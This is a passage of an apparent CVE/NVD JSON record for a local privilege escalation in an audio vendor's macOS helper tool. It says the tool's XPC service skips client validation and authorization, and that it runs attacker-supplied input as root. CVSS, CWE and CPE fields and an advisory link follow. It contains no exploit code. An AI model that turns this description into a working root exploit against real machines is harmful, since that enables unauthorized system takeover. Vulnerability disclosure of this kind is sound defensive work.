The service accepts XPC connections from any local process without validating the client's identity, and its authorization logic incorrectly calls AuthorizationCopyRights with a NULL reference, causing all authorization checks to succeed. The executeCommand:authorization:withReply: method then interpolates attacker-controlled input into NSTask and executes it with root privileges. A local attacker can exploit these weaknesses to run arbitrary commands as root, create persistent backdoors, or obtain a fully interactive root shell."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:acustica-audio:aquarius_helpertool:1.0.003:*:*:*:*:*:*:*", "matchCriteriaId": "9EA89156-5C87-474C-92A2-CDA92F828BAB"}]}]}], "references": [{"url": "https://almightysec.com/helpertool-xpc-service-local-privilege-escalation/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}
